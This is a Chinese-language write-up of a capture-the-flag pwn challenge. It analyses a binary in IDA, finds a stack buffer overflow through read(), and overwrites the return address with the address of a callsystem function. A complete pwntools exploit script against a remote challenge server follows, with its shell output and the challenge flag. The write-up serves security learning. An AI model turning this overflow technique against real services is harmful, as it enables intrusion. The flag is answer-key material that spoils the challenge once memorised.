Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

观察

用ida打开拿到的文件会看到主程序(使用F5可以将机器码反编译成伪代码):

image-20250512093511668

查看 vulnerable_function

image-20250512093644067

发现read的漏洞。

接着便是需要查看Stack的结构。点击这里的buf便可以查看当前函数的stack结构:

image-20250512093816939

可以发现先是存储当前的输入内容(期望长度为128),然后便是saved_registers(长度为8),最后才是return_address

image-20250512094523609

通过查看Exports可以发现callsystem这个函数及其地址:

1
callsystem	0000000000400596

我们可以使用pwn里的p64()函数自动将一个整数打包成 64 位小端序(little endian)的字节串。因为大部分现代的架构使用的都是小端序。

1
p64(0x400596)

Exploit

我们需要做的是发送一段内容,结构如下:

1
payload = b"A" * 128 + b"B"*8 + p64(0x400596)

前面AB的部分会覆盖掉buf以及saved_registers,以至于可以用p64(0x400596)覆盖掉函数的返回地址,也就是说会直接调用callsystem这个函数。调用了之后只需要使用lscat flag命令即可读取flag。

Exploit代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

r = remote("61.147.171.105", 49676)

res = r.recvline()
print(res)


payload = b"A" * 128 + b"B"*8 + p64(0x400596)

r.sendline(payload)

r.interactive()

# [x] Opening connection to 61.147.171.105 on port 49676
# [x] Opening connection to 61.147.171.105 on port 49676: Trying 61.147.171.105
# [+] Opening connection to 61.147.171.105 on port 49676: Done
# b'Hello, World\n'
# [*] Switching to interactive mode
# ls

# bin
# dev
# flag
# level0
# lib
# lib32
# lib64

# cat flag

# cyberpeace{f400f63c7cea1e147b6960fc106b45f0}